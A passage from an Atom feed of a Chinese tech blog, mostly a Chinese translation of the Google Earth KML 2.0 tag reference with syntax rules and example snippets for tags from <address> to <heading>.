<P>可是呢怎么 alert就错误了呢,还以为我什么地方写错咯~原来alert不支持这么大的数据~呼呼~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=257" /> 
	  <id>http://www.openx.cn/default.asp?id=257</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google Earth KML 2.0 参考]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-04-11T16:17:39+08:00</updated>
	  <published>2006-04-11T16:17:39+08:00</published>
		  <summary type="html"><![CDATA[<H2><A name=syntax></A>KML语法规则</H2>
<P>和任何程序和脚本语言一样，KML有一些必须遵循的语法规则.</P>
<H3><A name=doc_structure></A>文档结构</H3>
<P>一个KML文档应该完全遵循KML格式，文档也和基本的XML语法规则差不多，有以下几点要特别注意的地方.</P>
<UL>
<LI>XML标签必须关闭 
<LI>XML标签是大小写敏感的 
<LI>对于KML语法,首字母大写的标签是复合标签，否则就是单一标签，在实体和标签介绍之中有更多相关信息. 
<LI>XML标签必须正确嵌套 
<LI>XML文档必须只有一个根标签 
<LI>对于KML文件，这意味着你可以使用&lt;kml&gt;&lt;/kml&gt;, &lt;Document&gt;&lt;/Document&gt; &lt;Folder&gt;&lt;/Folder&gt;甚至 &lt;Placemark&gt;&lt;/Placemark&gt;作为根标签 
<LI>属性必须用引号包围起来 
<LI>CR/LF(回车符)被认为是插入一个新行(在HTML描述之中，被转化为&lt;br&gt;) 
<LI>XML的注释方法和HTML是一样的 </LI></UL>
<P>要了解更多信息，可以去查阅XML参考文档或语法向导.如果你的KML文档结构不符合XML文档规范，将会在Google Earth中产生一个解析错误的对话框 (查看http://www.w3.org/XML/ 了解根多关于XML的信息.)</P>
<P>注意: XML Schema 验证还没有被Google Earth支持.</P>
<H3><A name=tag_types></A>标记类型</H3>
<P>有两种基本的KML标记类型: 单一标签和复合标签.复合标签的标签名首字母是大写的，而单一标签都是小写的，复合标签能够作为其他标签(单一标签或复合标签)的父元素， ,而单一标签只能是其他复合标签的子元素，而自身不能包含其他元素.</P>
<H3><A name=string_values></A>字符串</H3>
<P>在KML文件中的任何字符串，例如<NAME> name 和<DESCRIPTION> description标签中的值,都可以是utf-8或者Unicode编码的字符串.</DESCRIPTION></NAME></P>
<H3><A name=kml_elements></A>KML标签列表</H3>
<P>这一节包含所有能用的KML标签的参考，按字母顺序排列，每一段列出了该标签正确的大小写格式，类型、值和层次.</P><A name=top></A>
<DIV id=defs>
<DIV class=term><A name=address></A>
<H4>&lt;address&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A>的子元素，包含按照标准填写的地址：街道,城市,州,或邮政编码. <BR></DIV>
<DL>
<DT>值: 
<DD>代表一个点所在位置或邮政编码的字符串.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=altitudeMode></A>
<H4>&lt;altitudeMode&gt;</H4>
<DIV class=desc></DIV>
<DL>
<DT>值: 
<DD>clampedToGround、relativeToGround或absolute. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=begin></A>
<H4>&lt;begin&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A>的子元素.指定一个时间区域的开始点.如果没有指定，则代表无限小的时间.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1876-08-01<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用UTC(Coordinated Universal Time)格式的日期时间 .查看<A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>了解更多关于时间格式的信息. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=color></A>
<H4>&lt;color&gt;</H4>
<DIV class=desc>单一标签，代表一个32位的16进制颜色值. <BR></DIV>
<DL>
<DT>值: 
<DD>The standard range from 00000000 to ffffffff<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A><BR>&lt;LineStyle&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=coordinates></A>
<H4>&lt;coordinates&gt;</H4>
<DIV class=desc>单一标签，可以是是任何几何形状的子元素，定义每一个点的经度、纬度和高度(按照严格的顺序). 多个点使用空格隔开，经纬度按照WGS84标准.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-111.661,33.2212,0<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由点的坐标决定，经纬度的单位是度，而高度的单位是米(海拔).<BR><BR>注意:应该按照 经度,纬度,高度 这样的格式和顺序来设置，否则坐标可能会不准确.<BR><BR>
<DT>父元素: 
<DD>Contained by any geometry.<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=description></A>
<H4>&lt;description&gt;</H4>
<DIV class=desc>单一标签.提供描述信息.描述显示在用户点击该目录或标注时的弹出窗口中. <BR><BR>支持纯文本和HTML语法，如果其中包含有效的网址，则Google Earth会自动显示为一个连接T(例如http://www.google.com).而不需要使用任何标签<BR><BR>如果你使用任何的HTML语法，就必须使用字符实体引用或者CDATA来防止HTML字符如&gt;&lt;被当作XML解析，下面的例子说明了description标签的用法:<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR>&lt;![CDATA[&lt;a href="http://www.google.com.honeycomb.cs.cornell.edu:8888/"&gt;Google Search!&lt;/a&gt;]]&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><BR>CDATA元素让KML解析器忽略其内部的特殊字符.按以下方式使用该元素:<BR><BR>&lt;![CDATA[ special characters here ]]&gt;<BR><BR>如果你不喜欢使用CDATA元素，你也可以使用实体引用来替换所有的特殊字符. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>任意字符串<BR><BR>注意: description标签只是支持HTML格式化，并不支持其他的网络性能，比如脚本语言和Iframe.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Document></A>
<H4>&lt;Document&gt;</H4>
<DIV class=desc>kml文档的根元素.同时也是一个目录，可是它不是必需的，如果你的kml文件使用到了schemas和样式表，就一定要使用该标签.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="my_style"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A>./images/my_image.png<A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR>. . . .<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>Can contain the following tags:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=drawOrder></A>
<H4>&lt;drawOrder&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>的子元素. 用来定义当多个图片重叠的时候的摆放顺序.默认值是0，该值大的图片显示将在该值小一些的图片的上面.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>从0到99的范围.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=east></A>
<H4>&lt;east&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>.的子元素.指定图片标注右边缘的经度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A>-95.1583<A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示，而高度则以海拔高度(以米为单位)来表示.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=end></A>
<H4>&lt;end&gt;</H4>
<DIV class=desc>是<A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A>的子元素.指定一个时间区域的结束点.如果没有指定，则代表无限大的时间.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>2004-08-01<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用UTC(Coordinated Universal Time)格式的日期时间 .查看<A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>了解更多关于时间格式的信息.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=extrude></A>
<H4>&lt;extrude&gt;</H4>
<DIV class=desc>单一标签，允许对2维的图形如地名标注、路径、多边形进行立体化处理. <BR></DIV>
<DL>
<DT>值: 
<DD>以米为单位的extrusion高度值. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=fill></A>
<H4>&lt;fill&gt;</H4>
<DIV class=desc>单一标签.指示是否对多边形进行填充. <BR></DIV>
<DL>
<DT>值: 
<DD>0 (不填充)或1.<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Folder></A>
<H4>&lt;Folder&gt;</H4>
<DIV class=desc>复合标签.用来对所有的标注进行树形分类. 请看关于目录的介绍获得更多信息.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Name of Folder<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>Descriptive text<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>SubFolder #1 Name<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>Descriptive text<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR>[placemark data here ...]<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>SubFolder #2 Name<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>Descriptive text<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR>[placemark data here ...]<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=geomColor></A>
<H4>&lt;geomColor&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>的子元素. 用来给地理点、线和多边形设置颜色，下面的例子表现一个不透明的蓝色:<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style ID="myIconStyleID"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>ff640000<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-122.072408, 37.412161, 6.936751<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#myIconStyleID<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR>...<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>注意:颜色被设置后,图标的表面颜色会被<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>的颜色值进行multiply(正片叠底)处理. 例如,如果图表颜色是蓝绿色,并且你设置<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>为绿黄色,最后显示出来就将会是绿色. 注意这个正片叠底模式, RGB颜色值分别相乘(R*R, G*G, B*B).因此,红色(1, 0, 0)和绿色(0, 1, 0) 最后会生成黑色,因为(1*0, 0*1, 0*0)最后是(0, 0, 0).<BR><BR></DIV>
<DL>
<DT>值: 
<DD>16进制表示的颜色，包括透明度的值，顺序是alpha, blue, green, red (ABGR). <BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=GeometryCollection></A>
<H4>&lt;GeometryCollection&gt;</H4>
<DIV class=desc>复合标签，用来组合多个几何形状，例如组合多个多边形用来在Google Earth中描述一个单一的标注.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>.....<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>.....<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>
<DT>子元素: 
<DD>能够包含任何几何形状，包括其它GeometryCollection.<BR><BR></DD></DL></DIV>
<DIV class=term><A name=geomScale></A>
<H4>&lt;geomScale&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>的子元素.用这个标签来缩放图标(也就是地理点)和线以改变它们在Google Earth之中的显示大小.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="myPlacemarkID"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A>2<A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A><BR>&lt;labelScale&gt;1.08&lt;/labelScale&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>ff08ceff<A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>root://icons/....<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>通常，这个标签并不影响多边形，除非多边形使用outline模式，在这个模式下，只有多边形的外轮廓的线有效果.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>代表缩放到的倍数的小数.例如，默认的图标大小是1而geomScale设置为.5，则设置后图标大小便为原来的一半同样,如果geomScale设置为2则将使图表大小翻倍. 对于线段,这个只代表线宽，默认的线宽是1.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=GroundOverlay></A>
<H4>&lt;GroundOverlay&gt;</H4>
<DIV class=desc>复合标签，本标签代表一个地理图片标注.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>C:/GoogleEarth/example.jpg<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A>36.9994<A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A>39.3082<A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A>38.5209<A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A>-95.1583<A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A>-96.3874<A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>任何有目录功能的标签.<BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=h></A>
<H4>&lt;h&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个区域的时候,h是图片上被提取区域的高度像素值. <BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上被提取区域的高度像素值.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=heading></A>
<H4>&lt;heading&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素. 当前视角在水平面上的投影和正北的夹角，下面的例子表现了一个向西的视角. <BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A>-90<A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由观测者（视点）方向决定.以度为单位.<BR><BR>
<DT>父元素: 
